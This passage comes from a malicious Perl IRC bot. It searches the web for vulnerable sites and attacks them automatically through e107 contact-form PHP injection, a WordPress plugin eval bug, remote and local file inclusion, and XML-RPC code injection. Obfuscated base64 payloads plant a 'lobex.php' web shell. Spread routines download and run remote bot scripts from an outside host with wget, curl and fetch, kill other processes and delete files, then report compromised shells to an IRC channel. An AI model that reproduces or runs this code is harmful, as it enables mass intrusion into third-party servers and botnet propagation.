  927.                 } else { &msg("$chan","$e107logo15$engine 9<4=9>15 System 9<4=9>9 $test 15($sys) ");sleep(2); }
  928.             }
  929.         } exit; }
  930.         }
  931.     }
  932. }
  933.  
  934. sub e107_rce_query() {
  935.    my $url = $_[0];
  936.    my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9pbWFnZXMvbG9iZXgucGhwJywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTs=";
  937.    my $req = HTTP::Request->new(POST => $url);
  938.    $req->content_type('application/x-www-form-urlencoded');
  939.    $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  940.    my $ua = LWP::UserAgent->new(agent => $uagent);
  941.    $ua->timeout(7);
  942.    my $res = $ua->request($req);
  943.    return $res->content;
  944. }
  945.  
  946. sub e107_spread_query() {
  947.    my $url = $_[0];
  948.    my $code = "ZWNobyAidjBwQ3Izdzxicj4iOwplY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7CiRjbWQ9ImVjaG8gbm9iMGR5Q3IzdztjZCAvdG1wO3JtIC1yZiBkb3IuKiAqLnR4dC4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O2NkIC92YXIvdG1wO3JtIC1yZiBkb3IuKiAqLmpwZy4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0OyI7CiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOwpmdW5jdGlvbiBleCgkY2ZlKXsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkY2ZlLCRyZXMpOwokcmVzID0gam9pbigiXG4iLCRyZXMpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7CkBvYl9zdGFydCgpOwpAc3lzdGVtKCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7CkBvYl9zdGFydCgpOwpAcGFzc3RocnUoJGNmZSk7CiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CkBvYl9lbmRfY2xlYW4oKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKJGYgPSBAcG9wZW4oJGNmZSwiciIpOwp3aGlsZSghQGZlb2YoJGNmZSkpIHsgJHJlcyAuPSBAZnJlYWQoJGNmZSwxMDI0KTsgfQpAcGNsb3NlKCRmKTsKfX0KcmV0dXJuICRyZXM7Cn0=";
  949.    my $req = HTTP::Request->new(POST => $url);
  950.    $req->content_type('application/x-www-form-urlencoded');
  951.    $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  952.    my $ua = LWP::UserAgent->new(agent => $uagent);
  953.    $ua->timeout(7);
  954.    my $res = $ua->request($req);
  955. }
  956.  
  957. sub ih_exploit() {
  958.     my $chan = $_[0];
  959.     my $bug = $_[1];
  960.     my $simpan = $_[2];
  961.     my $dork = $_[3];
  962.     my $engine = $_[4];
  963.     my $count = 0;
  964.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ihlogo);
  965.     my $num = scalar(@totexploit);
  966.     if ($num > 0){
  967.         foreach my $site(@totexploit){
  968.         $count++;
  969.         if ($count == $num-1) { &msg("$chan","$ihlogo15$engine 9Finished 15for 9$dork "); }
  970.             my $ihxxx = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw==";
  971.             my $ihcek = "JHM9cGhwX3VuYW1lKCk7CmVjaG8gJzxicj4nLiRzOwoKZWNobyAnPGJyPic7CnBhc3N0aHJ1KGlkKTsK";
  972.             my $vuln = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihxxx."));error";
  973.             my $cekih = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihcek."));error";
  974.             my $shell = "http://".$site."wp-content/plugins/is-human/lobex.php";
  975.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  976.                 my $coba = &get_content($cekih);sleep(1);
  977.                 if ($coba =~ /Array<br>(.*?)<br>(.*?)gid=/){ my $uname = $1; my $uid = $2; &get_content($vuln);sleep(1);
  978.                     &msg("$chan","$ihlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  979.                     my $res = &get_content($shell);sleep(1);
  980.                     if ($res =~ /UnKnown - Simple Shell/){
  981.                         &msg("$chan","$ihlogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell ");
  982.                         } else { &msg("$chan","$ihlogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 9<4=9> Os=$uname $uid");
  983.                         }
  984.                     }
  985.                 } exit;
  986.             }
  987.         }
  988.     }
  989. }
  990. sub rfi_exploit() {
  991.     my $chan = $_[0];
  992.     my $bug = $_[1];
  993.     my $simpan = $_[2];
  994.     my $dork = $_[3];
  995.     my $engine = $_[4];
  996.     my $count = 0;
  997.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  998.     my $num = scalar(@totexploit);
  999.     if ($num > 0){
  1000.         foreach my $site(@totexploit){
  1001.         $count++;
  1002.         if ($count == $num-1) { &msg("$chan","$rfilogo15$engine 9Finished 15for 9$dork "); }
  1003.             my $coba = "http://".$site.$bug."test??";
  1004.             my $test = "http://".$site.$bug.$injector."??";
  1005.             my $dor  = "http://".$site.$bug.$botshell."??";
  1006.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1007.                 my $cek  = &get_content($coba);sleep(1);
  1008.                 &get_content($dor);sleep(1);
  1009.                 if ($cek =~ /failed to open stream/) {
  1010.                     my $check = &get_content($test);sleep(1);
  1011.                     if ($check =~ /STUNSHELL/i) {
  1012.                         &os2($test,$chan,$engine,$rfilogo);
  1013.                         }
  1014.                     }
  1015.                 } exit;
  1016.             }
  1017.         }
  1018.     }
  1019. }
  1020.  
  1021. sub lfi_exploit() {
  1022.     my $chan = $_[0];
  1023.     my $bug = $_[1];
  1024.     my $simpan = $_[2];
  1025.     my $dork = $_[3];
  1026.     my $engine = $_[4];
  1027.     my $count = 0;
  1028.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
  1029.     my $num = scalar(@totexploit);
  1030.     if ($num > 0){
  1031.         foreach my $site(@totexploit){
  1032.         $count++;
  1033.         if ($count == $num-1) { &msg("$chan","$lfilogo15$engine 9Finished 15for 9$dork "); }
  1034.             my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";
  1035.             my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
  1036.             my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000";
  1037.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1038.                 my $html = &get_content($test);
  1039.                 if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
  1040.                     my $res = lfi_env_query($test);
  1041. #                   &lfi_spread_query($test);
  1042.                     if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {
  1043.                         my $os = $1;
  1044.                         my $uid = $2;
  1045.                         my $lficheck = &get_content($shell);
  1046.                         if ($lficheck =~ /UnKnown - Simple Shell/){
  1047.                             &msg("$chan","$lfilogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell 15(OS=$os) $uid ");
  1048.                         } else {
  1049.                             &msg("$chan","$lfilogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 15(OS=$os) $uid ");
  1050.                         }
  1051.                     }
  1052.                 }
  1053.             } exit; }
  1054.         }
  1055.     }
  1056. }
  1057. sub lfi_env_query() {
  1058.    my $url = $_[0];
  1059.    my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2lKVDV4ZEZsbUpUUWlOazc0QXNoeDdrc3h2ajYyWk1ka1U4ZDk3NzR3ZGtuS2h0TnE4eExuMzNLOHpkSzdUL1VQT3krMHR4WlRpaFlpVWpxVnAyMVRiVzFuS1QxT1NsWVhVWE16Y2ZUVHlLV1JxdUVWWnU2MG9ETUt3UDdpOGFTYng1L2pPdVhxM2YydlkzbmZkWnNWb1JVZFBFNS9zVUVONHdTYndpQUhEdjRMaE5UMGZqYTZpODA0NG9yZm81dUx6aG5zWS9Ea093a1EwSHZZdFlFV2tXRURRT0kzSk1oWXpBaEVzMGVSVFlIZU1wd2hHOFpUbCt5a0Q2RlF1YXpTRExoMDBVMnlSTW5UVi93cllKZzh0eFpKWFpiMkU5T0h4VEJCZERFRURWVEE0TzZOVWo4QlBwdGdycUZnQW1kSlpsbG42UTJSZUtEMU1pamgwN25jaXgzNVV4NmVuVUtDcG5wbmQ2VTlQa3BlQ2hzSEZZQlNzQmVVeHoxdzZLZFNFcVV2K2JmQmtoaFl2S1dXNldLaHVpZTdTODB2eGpIekNJNGtGbVhoZEhtazZEVUxBU3pQS2plaGZrWkRKZTRaYTFCUGNDQUxXdnFHM2tHQmgrcVNtNjNSVVhwL3dFMFRQRU8vZUdZYjQxSHB4ODFzd3VtbVNyQkFNSllPS1JGSWxFN2F1QVNjOEdmYXZVOUZNLzQvZzh2Z2lZNHdPUmFZMEovNFQ2bWRqTXI0SUxsVFJZekFZT2JjZTdTektQUzZTckFJb1BpdWVseG56UU9Lb0VNa3N4YmJlTHJFSjIybUE3eWlmd3pmSjU5REtCMERKdkNDMHE3bk9TMklzZmhmRlQ1QTlFcHJlVmpoMFROYnRTeTlCUk1PbkJWd3d4Zjl6L2tJa0tUSTRyUjhQektmWG5mU290NnJwMFdGMEFqWjJnbHRnakNvNGVaKzYxSU1SSXpBQUw5b1kzYlpVMjJLdE1ZWUFHS0xpcVdJeTVWaHJoQXlyRWg0bHN5Zm43SGpuYlZ0aXFvZUhCd1VwSG5SSG1hTjVZcWFaU1NMUnNNWlZ1WUJ2QkxXVkxFVjd4eEkwVENXMktsOTJLY3RQdWVqZmFEcU9FYUprN2FBdmNNSzQybnZ2MFNHWnJxUWdkZkVBM0p6c3c1cmRxTHkyZjZ2RXpjMS9xUUhvbDR2VWhaQXlCeWlUT2Nsa2hRRFRTcmhHVm5rNDhDbnR2VUhvVnBIbnNWVWJBcnRjbEpVbWJVd3luM2YyVWthQ0hQczB5VWE2NlEyclZzNmYvRFlQSmZka1NabmZhb0R2WUhROTUzV3pSZ1lIY1VYa1NLWnNDUzhiZzl0WWNCMDNuVGZqNERUL01zSzR6SW80SlhROGNIT01EcUtmV2pQbmRzcFIzYTJ5dldJQXBoQmZ1MFNiK0pQV05ROTV0a3E3dUhFTEUzMVYxcHRMeTQ5NTJ1ajN2OVJvQkZ2Z0F5VldGaXZsNjJzandEWk0rK2hScjdpMUEyTFF1N1pOa2JGNHh3WTN5N1V5RVNuSExWOCszWUdkbHVtamlhbmJnYUFINHpETEdMZGlhKzAwbERpM2dETWdvOE84dUhTUnpjN1NDQUh1TjFCblhsTTJERGJ1cWh2UGxLbWIrUzZwWTAyN1ZCcEl3TnVScGJnWEhvbGR4SEhESDBsV0FuOTdpQWFUOTJnNlMxNkhwNFFla1ZSbTI1NlJYSXUrYmhudWlLR3NhZWFwYkhEVmVLMlVlVjFPUHpjSzJqY2ZTOVlLYW56RXZyREV4Vmx6cTB3UmFEQ1dycjl2eWY5VjZuR0s3SEt4ODAvaUQ3MS9BQT09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignL3RtcC9sb2JleCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7';
  1060.    my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");
  1061.     $ua->timeout(7);
  1062.     my $req = HTTP::Request->new(GET => $url);
  1063.     my $res = $ua->request($req);
  1064.     return $res->content;
  1065. }
  1066.  
  1067. sub xml_exploit() {
  1068.     my $chan = $_[0];
  1069.     my $bug = $_[1];
  1070.     my $simpan = $_[2];
  1071.     my $dork = $_[3];
  1072.     my $engine = $_[4];
  1073.     my $count = 0;
  1074.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
  1075.     my $num = scalar(@totexploit);
  1076.     if ($num > 0){
  1077.         foreach my $site(@totexploit){
  1078.         $count++;
  1079.         if ($count == $num-1) { &msg("$chan","$xmllogo15$engine 9Finished 15for 9$dork "); }
  1080.             my $test = "http://".$site.$bug;
  1081.             my $vuln = "http://".$site."12".$bug;
  1082.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1083.             my $html = &get_content($test);
  1084.             if ($html =~ /faultcode/i ) {
  1085.             my $resp = &xml_cek_query2($test);
  1086.             if ($resp =~ /Byroe(.*)Lobex/s) {
  1087. #           &xml_spread_query($test);sleep(1);
  1088.             my $sys = $1;
  1089.             my $shell = "http://".$site."/lobex.php";
  1090.             my $check = &get_content($shell);
  1091.                 if ($check =~ /UnKnown - Simple Shell/) {
  1092.                 my $safe = ""; my $os = ""; my $uid = "";
  1093.                 if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1094.                 if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1095.                 if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1096.                 &msg("$chan","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1097.                 &msg("$admin","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1098.                 }
  1099. #               else {
  1100. #               &msg("$chan","0,1$xmllogo(4@8$engine15)15(13@12SysTem15)10 ".$vuln." 3".$sys); sleep(1);}
  1101.                 }
  1102.             }
  1103.                 } exit;
  1104.             }
  1105.         }
  1106.     }
  1107.     }
  1108.  
  1109. sub xml_cek_query() {
  1110.     my $url     = $_[0];
  1111.     my $code = "system('uname -a');";
  1112.     my $ua = LWP::UserAgent->new(agent => 'perl post');
  1113.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1114.         $exploit .= "<methodName>test.method</methodName>";
  1115.         $exploit .= "<params><param><value><name>',''));";
  1116.         $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  1117.     $ua->timeout(7);
  1118.     my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  1119.     return $res->content;
  1120. }
  1121.  
  1122. sub xml_cek_query2() {
  1123.     my $url = $_[0];
  1124.     my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw==";
  1125.     my $ua = LWP::UserAgent->new(agent => 'perl post');
  1126.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1127.         $exploit .= "<methodName>test.method</methodName>";
  1128.         $exploit .= "<params><param><value><name>',''));";
  1129.         $exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";
  1130.     $ua->timeout(7);
  1131.     my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  1132.     return $res->content;
  1133. }
  1134.  
  1135. sub xml_spread_query() {
  1136. my $xmltargt = $_[0];
  1137. my $xmlsprd  = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";
  1138.         my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1139.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1140.         $exploit .= "<methodName>test.method</methodName>";
  1141.         $exploit .= "<params><param><value><name>',''));";
  1142.         $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
  1143.     $userAgent->timeout(7);
